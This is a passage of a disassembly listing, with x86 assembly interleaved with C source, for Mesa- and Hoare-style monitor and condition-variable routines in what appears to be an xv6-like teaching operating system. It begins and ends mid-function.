9ca: 8b 45 0c mov 0xc(%ebp),%eax
9cd: 01 c2 add %eax,%edx
9cf: 8b 45 08 mov 0x8(%ebp),%eax
9d2: 89 50 0c mov %edx,0xc(%eax)
mesa_cond_signal(monitor->empty);
9d5: 8b 45 08 mov 0x8(%ebp),%eax
9d8: 8b 40 04 mov 0x4(%eax),%eax
9db: 89 04 24 mov %eax,(%esp)
9de: e8 dc 05 00 00 call fbf <mesa_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
9e3: 8b 45 08 mov 0x8(%ebp),%eax
9e6: 8b 00 mov (%eax),%eax
9e8: 89 04 24 mov %eax,(%esp)
9eb: e8 b7 f9 ff ff call 3a7 <kthread_mutex_unlock>
return 1;
9f0: b8 01 00 00 00 mov $0x1,%eax
}
9f5: c9 leave
9f6: c3 ret
000009f7 <mesa_slots_monitor_takeslot>:
int mesa_slots_monitor_takeslot(mesa_slots_monitor_t* monitor){
9f7: 55 push %ebp
9f8: 89 e5 mov %esp,%ebp
9fa: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
9fd: 8b 45 08 mov 0x8(%ebp),%eax
a00: 8b 40 10 mov 0x10(%eax),%eax
a03: 85 c0 test %eax,%eax
a05: 75 07 jne a0e <mesa_slots_monitor_takeslot+0x17>
return -1;
a07: b8 ff ff ff ff mov $0xffffffff,%eax
a0c: eb 7f jmp a8d <mesa_slots_monitor_takeslot+0x96>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
a0e: 8b 45 08 mov 0x8(%ebp),%eax
a11: 8b 00 mov (%eax),%eax
a13: 89 04 24 mov %eax,(%esp)
a16: e8 84 f9 ff ff call 39f <kthread_mutex_lock>
a1b: 83 f8 ff cmp $0xffffffff,%eax
a1e: 7d 07 jge a27 <mesa_slots_monitor_takeslot+0x30>
return -1;
a20: b8 ff ff ff ff mov $0xffffffff,%eax
a25: eb 66 jmp a8d <mesa_slots_monitor_takeslot+0x96>
while ( monitor->active && monitor->slots == 0 )
a27: eb 17 jmp a40 <mesa_slots_monitor_takeslot+0x49>
mesa_cond_wait( monitor->empty, monitor->Monitormutex);
a29: 8b 45 08 mov 0x8(%ebp),%eax
a2c: 8b 10 mov (%eax),%edx
a2e: 8b 45 08 mov 0x8(%ebp),%eax
a31: 8b 40 04 mov 0x4(%eax),%eax
a34: 89 54 24 04 mov %edx,0x4(%esp)
a38: 89 04 24 mov %eax,(%esp)
a3b: e8 15 05 00 00 call f55 <mesa_cond_wait>
return -1;
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
return -1;
while ( monitor->active && monitor->slots == 0 )
a40: 8b 45 08 mov 0x8(%ebp),%eax
a43: 8b 40 10 mov 0x10(%eax),%eax
a46: 85 c0 test %eax,%eax
a48: 74 0a je a54 <mesa_slots_monitor_takeslot+0x5d>
a4a: 8b 45 08 mov 0x8(%ebp),%eax
a4d: 8b 40 0c mov 0xc(%eax),%eax
a50: 85 c0 test %eax,%eax
a52: 74 d5 je a29 <mesa_slots_monitor_takeslot+0x32>
mesa_cond_wait( monitor->empty, monitor->Monitormutex);
if ( monitor->active)
a54: 8b 45 08 mov 0x8(%ebp),%eax
a57: 8b 40 10 mov 0x10(%eax),%eax
a5a: 85 c0 test %eax,%eax
a5c: 74 0f je a6d <mesa_slots_monitor_takeslot+0x76>
monitor->slots--;
a5e: 8b 45 08 mov 0x8(%ebp),%eax
a61: 8b 40 0c mov 0xc(%eax),%eax
a64: 8d 50 ff lea -0x1(%eax),%edx
a67: 8b 45 08 mov 0x8(%ebp),%eax
a6a: 89 50 0c mov %edx,0xc(%eax)
mesa_cond_signal(monitor->full);
a6d: 8b 45 08 mov 0x8(%ebp),%eax
a70: 8b 40 08 mov 0x8(%eax),%eax
a73: 89 04 24 mov %eax,(%esp)
a76: e8 44 05 00 00 call fbf <mesa_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
a7b: 8b 45 08 mov 0x8(%ebp),%eax
a7e: 8b 00 mov (%eax),%eax
a80: 89 04 24 mov %eax,(%esp)
a83: e8 1f f9 ff ff call 3a7 <kthread_mutex_unlock>
return 1;
a88: b8 01 00 00 00 mov $0x1,%eax
}
a8d: c9 leave
a8e: c3 ret
00000a8f <mesa_slots_monitor_stopadding>:
int mesa_slots_monitor_stopadding(mesa_slots_monitor_t* monitor){
a8f: 55 push %ebp
a90: 89 e5 mov %esp,%ebp
a92: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
a95: 8b 45 08 mov 0x8(%ebp),%eax
a98: 8b 40 10 mov 0x10(%eax),%eax
a9b: 85 c0 test %eax,%eax
a9d: 75 07 jne aa6 <mesa_slots_monitor_stopadding+0x17>
return -1;
a9f: b8 ff ff ff ff mov $0xffffffff,%eax
aa4: eb 35 jmp adb <mesa_slots_monitor_stopadding+0x4c>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
aa6: 8b 45 08 mov 0x8(%ebp),%eax
aa9: 8b 00 mov (%eax),%eax
aab: 89 04 24 mov %eax,(%esp)
aae: e8 ec f8 ff ff call 39f <kthread_mutex_lock>
ab3: 83 f8 ff cmp $0xffffffff,%eax
ab6: 7d 07 jge abf <mesa_slots_monitor_stopadding+0x30>
return -1;
ab8: b8 ff ff ff ff mov $0xffffffff,%eax
abd: eb 1c jmp adb <mesa_slots_monitor_stopadding+0x4c>
monitor->active = 0;
abf: 8b 45 08 mov 0x8(%ebp),%eax
ac2: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
kthread_mutex_unlock( monitor->Monitormutex );
ac9: 8b 45 08 mov 0x8(%ebp),%eax
acc: 8b 00 mov (%eax),%eax
ace: 89 04 24 mov %eax,(%esp)
ad1: e8 d1 f8 ff ff call 3a7 <kthread_mutex_unlock>
return 0;
ad6: b8 00 00 00 00 mov $0x0,%eax
}
adb: c9 leave
adc: c3 ret
00000add <hoare_slots_monitor_alloc>:
#include "stat.h"
#include "user.h"
hoare_slots_monitor_t* hoare_slots_monitor_alloc(){
add: 55 push %ebp
ade: 89 e5 mov %esp,%ebp
ae0: 83 ec 28 sub $0x28,%esp
int mutex= kthread_mutex_alloc() ;
ae3: e8 a7 f8 ff ff call 38f <kthread_mutex_alloc>
ae8: 89 45 f4 mov %eax,-0xc(%ebp)
if( mutex < 0)
aeb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
aef: 79 0a jns afb <hoare_slots_monitor_alloc+0x1e>
return 0;
af1: b8 00 00 00 00 mov $0x0,%eax
af6: e9 8b 00 00 00 jmp b86 <hoare_slots_monitor_alloc+0xa9>
struct hoare_cond * empty = hoare_cond_alloc();
afb: e8 68 02 00 00 call d68 <hoare_cond_alloc>
b00: 89 45 f0 mov %eax,-0x10(%ebp)
if (empty == 0){
b03: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
b07: 75 12 jne b1b <hoare_slots_monitor_alloc+0x3e>
kthread_mutex_dealloc(mutex);
b09: 8b 45 f4 mov -0xc(%ebp),%eax
b0c: 89 04 24 mov %eax,(%esp)
b0f: e8 83 f8 ff ff call 397 <kthread_mutex_dealloc>
return 0;
b14: b8 00 00 00 00 mov $0x0,%eax
b19: eb 6b jmp b86 <hoare_slots_monitor_alloc+0xa9>
}
hoare_cond_t * full = hoare_cond_alloc();
b1b: e8 48 02 00 00 call d68 <hoare_cond_alloc>
b20: 89 45 ec mov %eax,-0x14(%ebp)
if (full == 0)
b23: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
b27: 75 1d jne b46 <hoare_slots_monitor_alloc+0x69>
{
kthread_mutex_dealloc(mutex);
b29: 8b 45 f4 mov -0xc(%ebp),%eax
b2c: 89 04 24 mov %eax,(%esp)
b2f: e8 63 f8 ff ff call 397 <kthread_mutex_dealloc>
hoare_cond_dealloc(empty);
b34: 8b 45 f0 mov -0x10(%ebp),%eax
b37: 89 04 24 mov %eax,(%esp)
b3a: e8 6a 02 00 00 call da9 <hoare_cond_dealloc>
return 0;
b3f: b8 00 00 00 00 mov $0x0,%eax
b44: eb 40 jmp b86 <hoare_slots_monitor_alloc+0xa9>
}
hoare_slots_monitor_t * monitor= malloc (sizeof (hoare_slots_monitor_t));
b46: c7 04 24 14 00 00 00 movl $0x14,(%esp)
b4d: e8 31 fc ff ff call 783 <malloc>
b52: 89 45 e8 mov %eax,-0x18(%ebp)
monitor->empty= empty;
b55: 8b 45 e8 mov -0x18(%ebp),%eax
b58: 8b 55 f0 mov -0x10(%ebp),%edx
b5b: 89 50 04 mov %edx,0x4(%eax)
monitor->full= full;
b5e: 8b 45 e8 mov -0x18(%ebp),%eax
b61: 8b 55 ec mov -0x14(%ebp),%edx
b64: 89 50 08 mov %edx,0x8(%eax)
monitor->Monitormutex= mutex;
b67: 8b 45 e8 mov -0x18(%ebp),%eax
b6a: 8b 55 f4 mov -0xc(%ebp),%edx
b6d: 89 10 mov %edx,(%eax)
monitor->slots=0;
b6f: 8b 45 e8 mov -0x18(%ebp),%eax
b72: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
monitor->active=1;
b79: 8b 45 e8 mov -0x18(%ebp),%eax
b7c: c7 40 10 01 00 00 00 movl $0x1,0x10(%eax)
return monitor;
b83: 8b 45 e8 mov -0x18(%ebp),%eax
}
b86: c9 leave
b87: c3 ret
00000b88 <hoare_slots_monitor_dealloc>:
int hoare_slots_monitor_dealloc(hoare_slots_monitor_t* monitor){
b88: 55 push %ebp
b89: 89 e5 mov %esp,%ebp
b8b: 83 ec 18 sub $0x18,%esp
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
b8e: 8b 45 08 mov 0x8(%ebp),%eax
b91: 8b 00 mov (%eax),%eax
b93: 89 04 24 mov %eax,(%esp)
b96: e8 fc f7 ff ff call 397 <kthread_mutex_dealloc>
b9b: 85 c0 test %eax,%eax
b9d: 78 2e js bcd <hoare_slots_monitor_dealloc+0x45>
hoare_cond_alloc(monitor->empty)<0 ||
b9f: 8b 45 08 mov 0x8(%ebp),%eax
ba2: 8b 40 04 mov 0x4(%eax),%eax
ba5: 89 04 24 mov %eax,(%esp)
ba8: e8 bb 01 00 00 call d68 <hoare_cond_alloc>
hoare_cond_alloc(monitor->full)<0
bad: 8b 45 08 mov 0x8(%ebp),%eax
bb0: 8b 40 08 mov 0x8(%eax),%eax
bb3: 89 04 24 mov %eax,(%esp)
bb6: e8 ad 01 00 00 call d68 <hoare_cond_alloc>
){
return -1;
}
free(monitor);
bbb: 8b 45 08 mov 0x8(%ebp),%eax
bbe: 89 04 24 mov %eax,(%esp)
bc1: e8 84 fa ff ff call 64a <free>
return 0;
bc6: b8 00 00 00 00 mov $0x0,%eax
bcb: eb 05 jmp bd2 <hoare_slots_monitor_dealloc+0x4a>
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
hoare_cond_alloc(monitor->empty)<0 ||
hoare_cond_alloc(monitor->full)<0
){
return -1;
bcd: b8 ff ff ff ff mov $0xffffffff,%eax
}
free(monitor);
return 0;
}
bd2: c9 leave
bd3: c3 ret
00000bd4 <hoare_slots_monitor_addslots>:
int hoare_slots_monitor_addslots(hoare_slots_monitor_t* monitor,int n){
bd4: 55 push %ebp
bd5: 89 e5 mov %esp,%ebp
bd7: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
bda: 8b 45 08 mov 0x8(%ebp),%eax
bdd: 8b 40 10 mov 0x10(%eax),%eax
be0: 85 c0 test %eax,%eax
be2: 75 0a jne bee <hoare_slots_monitor_addslots+0x1a>
return -1;
be4: b8 ff ff ff ff mov $0xffffffff,%eax
be9: e9 88 00 00 00 jmp c76 <hoare_slots_monitor_addslots+0xa2>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
bee: 8b 45 08 mov 0x8(%ebp),%eax
bf1: 8b 00 mov (%eax),%eax
bf3: 89 04 24 mov %eax,(%esp)
bf6: e8 a4 f7 ff ff call 39f <kthread_mutex_lock>
bfb: 83 f8 ff cmp $0xffffffff,%eax
bfe: 7d 07 jge c07 <hoare_slots_monitor_addslots+0x33>
return -1;
c00: b8 ff ff ff ff mov $0xffffffff,%eax
c05: eb 6f jmp c76 <hoare_slots_monitor_addslots+0xa2>
if ( monitor->active && monitor->slots > 0 )
c07: 8b 45 08 mov 0x8(%ebp),%eax
c0a: 8b 40 10 mov 0x10(%eax),%eax
c0d: 85 c0 test %eax,%eax
c0f: 74 21 je c32 <hoare_slots_monitor_addslots+0x5e>
c11: 8b 45 08 mov 0x8(%ebp),%eax
c14: 8b 40 0c mov 0xc(%eax),%eax
c17: 85 c0 test %eax,%eax
c19: 7e 17 jle c32 <hoare_slots_monitor_addslots+0x5e>
hoare_cond_wait( monitor->full, monitor->Monitormutex);
c1b: 8b 45 08 mov 0x8(%ebp),%eax
c1e: 8b 10 mov (%eax),%edx
c20: 8b 45 08 mov 0x8(%ebp),%eax
c23: 8b 40 08 mov 0x8(%eax),%eax
c26: 89 54 24 04 mov %edx,0x4(%esp)
c2a: 89 04 24 mov %eax,(%esp)
c2d: e8 c1 01 00 00 call df3 <hoare_cond_wait>
if ( monitor->active)
c32: 8b 45 08 mov 0x8(%ebp),%eax
c35: 8b 40 10 mov 0x10(%eax),%eax
c38: 85 c0 test %eax,%eax
c3a: 74 11 je c4d <hoare_slots_monitor_addslots+0x79>
monitor->slots+= n;
c3c: 8b 45 08 mov 0x8(%ebp),%eax
c3f: 8b 50 0c mov 0xc(%eax),%edx
c42: 8b 45 0c mov 0xc(%ebp),%eax
c45: 01 c2 add %eax,%edx
c47: 8b 45 08 mov 0x8(%ebp),%eax
c4a: 89 50 0c mov %edx,0xc(%eax)
hoare_cond_signal(monitor->empty, monitor->Monitormutex );
c4d: 8b 45 08 mov 0x8(%ebp),%eax
c50: 8b 10 mov (%eax),%edx
c52: 8b 45 08 mov 0x8(%ebp),%eax
c55: 8b 40 04 mov 0x4(%eax),%eax
c58: 89 54 24 04 mov %edx,0x4(%esp)
c5c: 89 04 24 mov %eax,(%esp)
c5f: e8 e6 01 00 00 call e4a <hoare_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
c64: 8b 45 08 mov 0x8(%ebp),%eax
c67: 8b 00 mov (%eax),%eax
c69: 89 04 24 mov %eax,(%esp)
c6c: e8 36 f7 ff ff call 3a7 <kthread_mutex_unlock>
return 1;
c71: b8 01 00 00 00 mov $0x1,%eax
}
c76: c9 leave
c77: c3 ret
00000c78 <hoare_slots_monitor_takeslot>:
int hoare_slots_monitor_takeslot(hoare_slots_monitor_t* monitor){
c78: 55 push %ebp
c79: 89 e5 mov %esp,%ebp
c7b: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
c7e: 8b 45 08 mov 0x8(%ebp),%eax
c81: 8b 40 10 mov 0x10(%eax),%eax
c84: 85 c0 test %eax,%eax
c86: 75 0a jne c92 <hoare_slots_monitor_takeslot+0x1a>
return -1;
c88: b8 ff ff ff ff mov $0xffffffff,%eax
c8d: e9 86 00 00 00 jmp d18 <hoare_slots_monitor_takeslot+0xa0>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
c92: 8b 45 08 mov 0x8(%ebp),%eax
c95: 8b 00 mov (%eax),%eax
c97: 89 04 24 mov %eax,(%esp)
c9a: e8 00 f7 ff ff call 39f <kthread_mutex_lock>
c9f: 83 f8 ff cmp $0xffffffff,%eax
ca2: 7d 07 jge cab <hoare_slots_monitor_takeslot+0x33>
return -1;
ca4: b8 ff ff ff ff mov $0xffffffff,%eax
ca9: eb 6d jmp d18 <hoare_slots_monitor_takeslot+0xa0>
if ( monitor->active && monitor->slots == 0 )
cab: 8b 45 08 mov 0x8(%ebp),%eax
cae: 8b 40 10 mov 0x10(%eax),%eax
cb1: 85 c0 test %eax,%eax
cb3: 74 21 je cd6 <hoare_slots_monitor_takeslot+0x5e>
cb5: 8b 45 08 mov 0x8(%ebp),%eax
cb8: 8b 40 0c mov 0xc(%eax),%eax
cbb: 85 c0 test %eax,%eax
cbd: 75 17 jne cd6 <hoare_slots_monitor_takeslot+0x5e>
hoare_cond_wait( monitor->empty, monitor->Monitormutex);
cbf: 8b 45 08 mov 0x8(%ebp),%eax
cc2: 8b 10 mov (%eax),%edx
cc4: 8b 45 08 mov 0x8(%ebp),%eax
cc7: 8b 40 04 mov 0x4(%eax),%eax
cca: 89 54 24 04 mov %edx,0x4(%esp)
cce: 89 04 24 mov %eax,(%esp)
cd1: e8 1d 01 00 00 call df3 <hoare_cond_wait>
if ( monitor->active)
cd6: 8b 45 08 mov 0x8(%ebp),%eax
cd9: 8b 40 10 mov 0x10(%eax),%eax
cdc: 85 c0 test %eax,%eax
cde: 74 0f je cef <hoare_slots_monitor_takeslot+0x77>
monitor->slots--;
ce0: 8b 45 08 mov 0x8(%ebp),%eax
ce3: 8b 40 0c mov 0xc(%eax),%eax
ce6: 8d 50 ff lea -0x1(%eax),%edx
ce9: 8b 45 08 mov 0x8(%ebp),%eax
cec: 89 50 0c mov %edx,0xc(%eax)
hoare_cond_signal(monitor->full, monitor->Monitormutex );
cef: 8b 45 08 mov 0x8(%ebp),%eax
cf2: 8b 10 mov (%eax),%edx
cf4: 8b 45 08 mov 0x8(%ebp),%eax
cf7: 8b 40 08 mov 0x8(%eax),%eax
cfa: 89 54 24 04 mov %edx,0x4(%esp)
cfe: 89 04 24 mov %eax,(%esp)
d01: e8 44 01 00 00 call e4a <hoare_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
d06: 8b 45 08 mov 0x8(%ebp),%eax
d09: 8b 00 mov (%eax),%eax
d0b: 89 04 24 mov %eax,(%esp)
d0e: e8 94 f6 ff ff call 3a7 <kthread_mutex_unlock>
return 1;
d13: b8 01 00 00 00 mov $0x1,%eax
}
d18: c9 leave
d19: c3 ret
00000d1a <hoare_slots_monitor_stopadding>:
int hoare_slots_monitor_stopadding(hoare_slots_monitor_t* monitor){
d1a: 55 push %ebp
d1b: 89 e5 mov %esp,%ebp
d1d: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
d20: 8b 45 08 mov 0x8(%ebp),%eax
d23: 8b 40 10 mov 0x10(%eax),%eax
d26: 85 c0 test %eax,%eax
d28: 75 07 jne d31 <hoare_slots_monitor_stopadding+0x17>
return -1;
d2a: b8 ff ff ff ff mov $0xffffffff,%eax
d2f: eb 35 jmp d66 <hoare_slots_monitor_stopadding+0x4c>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
d31: 8b 45 08 mov 0x8(%ebp),%eax
d34: 8b 00 mov (%eax),%eax
d36: 89 04 24 mov %eax,(%esp)
d39: e8 61 f6 ff ff call 39f <kthread_mutex_lock>
d3e: 83 f8 ff cmp $0xffffffff,%eax
d41: 7d 07 jge d4a <hoare_slots_monitor_stopadding+0x30>
return -1;
d43: b8 ff ff ff ff mov $0xffffffff,%eax
d48: eb 1c jmp d66 <hoare_slots_monitor_stopadding+0x4c>
monitor->active = 0;
d4a: 8b 45 08 mov 0x8(%ebp),%eax
d4d: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
kthread_mutex_unlock( monitor->Monitormutex );
d54: 8b 45 08 mov 0x8(%ebp),%eax
d57: 8b 00 mov (%eax),%eax
d59: 89 04 24 mov %eax,(%esp)
d5c: e8 46 f6 ff ff call 3a7 <kthread_mutex_unlock>
return 0;
d61: b8 00 00 00 00 mov $0x0,%eax
}
d66: c9 leave
d67: c3 ret
00000d68 <hoare_cond_alloc>:
#include "types.h"
#include "stat.h"
#include "user.h"
hoare_cond_t* hoare_cond_alloc(){
d68: 55 push %ebp
d69: 89 e5 mov %esp,%ebp
d6b: 83 ec 28 sub $0x28,%esp
int cvMutex= kthread_mutex_alloc();
d6e: e8 1c f6 ff ff call 38f <kthread_mutex_alloc>
d73: 89 45 f4 mov %eax,-0xc(%ebp)
if (cvMutex<0)
d76: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
d7a: 79 07 jns d83 <hoare_cond_alloc+0x1b>
return 0;
d7c: b8 00 00 00 00 mov $0x0,%eax
d81: eb 24 jmp da7 <hoare_cond_alloc+0x3f>
hoare_cond_t *hcond = malloc( sizeof (hoare_cond_t)) ;
d83: c7 04 24 08 00 00 00 movl $0x8,(%esp)
d8a: e8 f4 f9 ff ff call 783 <malloc>
d8f: 89 45 f0 mov %eax,-0x10(%ebp)
hcond->mutexCV=cvMutex;
d92: 8b 45 f0 mov -0x10(%ebp),%eax
d95: 8b 55 f4 mov -0xc(%ebp),%edx
d98: 89 10 mov %edx,(%eax)
hcond->waitinCount=0;
d9a: 8b 45 f0 mov -0x10(%ebp),%eax
d9d: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
return hcond;
da4: 8b 45 f0 mov -0x10(%ebp),%eax
}
da7: c9 leave
da8: c3 ret
00000da9 <hoare_cond_dealloc>:
int hoare_cond_dealloc(hoare_cond_t* hCond){
da9: 55 push %ebp
daa: 89 e5 mov %esp,%ebp
dac: 83 ec 18 sub $0x18,%esp
if (!hCond ){
daf: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
db3: 75 07 jne dbc <hoare_cond_dealloc+0x13>
return -1;
db5: b8 ff ff ff ff mov $0xffffffff,%eax
dba: eb 35 jmp df1 <hoare_cond_dealloc+0x48>
}
kthread_mutex_unlock(hCond->mutexCV);
dbc: 8b 45 08 mov 0x8(%ebp),%eax
dbf: 8b 00 mov (%eax),%eax
dc1: 89 04 24 mov %eax,(%esp)
dc4: e8 de f5 ff ff call 3a7 <kthread_mutex_unlock>
if( kthread_mutex_dealloc(hCond->mutexCV) <0)
dc9: 8b 45 08 mov 0x8(%ebp),%eax
dcc: 8b 00 mov (%eax),%eax
dce: 89 04 24 mov %eax,(%esp)
dd1: e8 c1 f5 ff ff call 397 <kthread_mutex_dealloc>
dd6: 85 c0 test %eax,%eax
dd8: 79 07 jns de1 <hoare_cond_dealloc+0x38>
return -1;
dda: b8 ff ff ff ff mov $0xffffffff,%eax
ddf: eb 10 jmp df1 <hoare_cond_dealloc+0x48>
free (hCond);
de1: 8b 45 08 mov 0x8(%ebp),%eax
de4: 89 04 24 mov %eax,(%esp)
de7: e8 5e f8 ff ff call 64a <free>
return 0;
dec: b8 00 00 00 00 mov $0x0,%eax
}
df1: c9 leave
df2: c3 ret
00000df3 <hoare_cond_wait>:
int hoare_cond_wait(hoare_cond_t* hCond, int mutex_id){
df3: 55 push %ebp
df4: 89 e5 mov %esp,%ebp
df6: 83 ec 18 sub $0x18,%esp
if (!hCond){
df9: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
dfd: 75 07 jne e06 <hoare_cond_wait+0x13>
return -1;
dff: b8 ff ff ff ff mov $0xffffffff,%eax
e04: eb 42 jmp e48 <hoare_cond_wait+0x55>
}
hCond->waitinCount++;
e06: 8b 45 08 mov 0x8(%ebp),%eax
e09: 8b 40 04 mov 0x4(%eax),%eax
e0c: 8d 50 01 lea 0x1(%eax),%edx
e0f: 8b 45 08 mov 0x8(%ebp),%eax
e12: 89 50 04 mov %edx,0x4(%eax)
if ( kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0)
e15: 8b 45 08 mov 0x8(%ebp),%eax
e18: 8b 00 mov (%eax),%eax
e1a: 89 44 24 04 mov %eax,0x4(%esp)
e1e: 8b 45 0c mov 0xc(%ebp),%eax
e21: 89 04 24 mov %eax,(%esp)
e24: e8 86 f5 ff ff call 3af <kthread_mutex_yieldlock>
e29: 85 c0 test %eax,%eax
e2b: 79 16 jns e43 <hoare_cond_wait+0x50>
{
hCond->waitinCount--;
e2d: 8b 45 08 mov 0x8(%ebp),%eax
e30: 8b 40 04 mov 0x4(%eax),%eax
e33: 8d 50 ff lea -0x1(%eax),%edx
e36: 8b 45 08 mov 0x8(%ebp),%eax
e39: 89 50 04 mov %edx,0x4(%eax)
return -1;
e3c: b8 ff ff ff ff mov $0xffffffff,%eax
e41: eb 05 jmp e48 <hoare_cond_wait+0x55>
}
return 0;
e43: b8 00 00 00 00 mov $0x0,%eax
}
e48: c9 leave
e49: c3 ret
00000e4a <hoare_cond_signal>:
int hoare_cond_signal(hoare_cond_t* hCond, int mutex_id)
{
e4a: 55 push %ebp
e4b: 89 e5 mov %esp,%ebp
e4d: 83 ec 18 sub $0x18,%esp
if (!hCond){
e50: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
e54: 75 07 jne e5d <hoare_cond_signal+0x13>
return -1;
e56: b8 ff ff ff ff mov $0xffffffff,%eax
e5b: eb 6b jmp ec8 <hoare_cond_signal+0x7e>
}
if ( hCond->waitinCount >0){
e5d: 8b 45 08 mov 0x8(%ebp),%eax
e60: 8b 40 04 mov 0x4(%eax),%eax
e63: 85 c0 test %eax,%eax
e65: 7e 3d jle ea4 <hoare_cond_signal+0x5a>
hCond->waitinCount--;
e67: 8b 45 08 mov 0x8(%ebp),%eax
e6a: 8b 40 04 mov 0x4(%eax),%eax
e6d: 8d 50 ff lea -0x1(%eax),%edx
e70: 8b 45 08 mov 0x8(%ebp),%eax
e73: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0){
e76: 8b 45 08 mov 0x8(%ebp),%eax
e79: 8b 00 mov (%eax),%eax
e7b: 89 44 24 04 mov %eax,0x4(%esp)
e7f: 8b 45 0c mov 0xc(%ebp),%eax
e82: 89 04 24 mov %eax,(%esp)
e85: e8 25 f5 ff ff call 3af <kthread_mutex_yieldlock>
e8a: 85 c0 test %eax,%eax
e8c: 79 16 jns ea4 <hoare_cond_signal+0x5a>
hCond->waitinCount++;
e8e: 8b 45 08 mov 0x8(%ebp),%eax
e91: 8b 40 04 mov 0x4(%eax),%eax
e94: 8d 50 01 lea 0x1(%eax),%edx
e97: 8b 45 08 mov 0x8(%ebp),%eax
e9a: 89 50 04 mov %edx,0x4(%eax)
return -1;
e9d: b8 ff ff ff ff mov $0xffffffff,%eax
ea2: eb 24 jmp ec8 <hoare_cond_signal+0x7e>
}
}
if (kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0){
ea4: 8b 45 08 mov 0x8(%ebp),%eax
ea7: 8b 00 mov (%eax),%eax
ea9: 89 44 24 04 mov %eax,0x4(%esp)
ead: 8b 45 0c mov 0xc(%ebp),%eax
eb0: 89 04 24 mov %eax,(%esp)
eb3: e8 f7 f4 ff ff call 3af <kthread_mutex_yieldlock>
eb8: 85 c0 test %eax,%eax
eba: 79 07 jns ec3 <hoare_cond_signal+0x79>
return -1;
ebc: b8 ff ff ff ff mov $0xffffffff,%eax
ec1: eb 05 jmp ec8 <hoare_cond_signal+0x7e>
}
return 0;
ec3: b8 00 00 00 00 mov $0x0,%eax
}
ec8: c9 leave
ec9: c3 ret
00000eca <mesa_cond_alloc>:
#include "mesa_cond.h"
#include "types.h"
#include "stat.h"
#include "user.h"
mesa_cond_t* mesa_cond_alloc(){
eca: 55 push %ebp
ecb: 89 e5 mov %esp,%ebp
ecd: 83 ec 28 sub $0x28,%esp
int cvMutex= kthread_mutex_alloc();
ed0: e8 ba f4 ff ff call 38f <kthread_mutex_alloc>
ed5: 89 45 f4 mov %eax,-0xc(%ebp)
if (cvMutex<0)
ed8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
edc: 79 07 jns ee5 <mesa_cond_alloc+0x1b>
return 0;
ede: b8 00 00 00 00 mov $0x0,%eax
ee3: eb 24 jmp f09 <mesa_cond_alloc+0x3f>
mesa_cond_t *mcond = malloc( sizeof (mesa_cond_t)) ;
ee5: c7 04 24 08 00 00 00 movl $0x8,(%esp)
eec: e8 92 f8 ff ff call 783 <malloc>
ef1: 89 45 f0 mov %eax,-0x10(%ebp)
mcond->mutexCV=cvMutex;
ef4: 8b 45 f0 mov -0x10(%ebp),%eax
ef7: 8b 55 f4 mov -0xc(%ebp),%edx
efa: 89 10 mov %edx,(%eax)
mcond->waitinCount=0;
efc: 8b 45 f0 mov -0x10(%ebp),%eax
eff: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
return mcond;
f06: 8b 45 f0 mov -0x10(%ebp),%eax
}
f09: c9 leave
f0a: c3 ret
00000f0b <mesa_cond_dealloc>:
int mesa_cond_dealloc(mesa_cond_t* mCond){
f0b: 55 push %ebp
f0c: 89 e5 mov %esp,%ebp
f0e: 83 ec 18 sub $0x18,%esp
if (!mCond ){
f11: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
f15: 75 07 jne f1e <mesa_cond_dealloc+0x13>
return -1;
f17: b8 ff ff ff ff mov $0xffffffff,%eax
f1c: eb 35 jmp f53 <mesa_cond_dealloc+0x48>
}
kthread_mutex_unlock(mCond->mutexCV);
f1e: 8b 45 08 mov 0x8(%ebp),%eax
f21: 8b 00 mov (%eax),%eax
f23: 89 04 24 mov %eax,(%esp)
f26: e8 7c f4 ff ff call 3a7 <kthread_mutex_unlock>
if( kthread_mutex_dealloc(mCond->mutexCV) <0)
f2b: 8b 45 08 mov 0x8(%ebp),%eax
f2e: 8b 00 mov (%eax),%eax
f30: 89 04 24 mov %eax,(%esp)
f33: e8 5f f4 ff ff call 397 <kthread_mutex_dealloc>
f38: 85 c0 test %eax,%eax
f3a: 79 07 jns f43 <mesa_cond_dealloc+0x38>
return -1;
f3c: b8 ff ff ff ff mov $0xffffffff,%eax
f41: eb 10 jmp f53 <mesa_cond_dealloc+0x48>
free (mCond);
f43: 8b 45 08 mov 0x8(%ebp),%eax
f46: 89 04 24 mov %eax,(%esp)
f49: e8 fc f6 ff ff call 64a <free>
return 0;
f4e: b8 00 00 00 00 mov $0x0,%eax
}
f53: c9 leave
f54: c3 ret
00000f55 <mesa_cond_wait>:
int mesa_cond_wait(mesa_cond_t* mCond,int mutex_id){
f55: 55 push %ebp
f56: 89 e5 mov %esp,%ebp
f58: 83 ec 18 sub $0x18,%esp
if (!mCond){
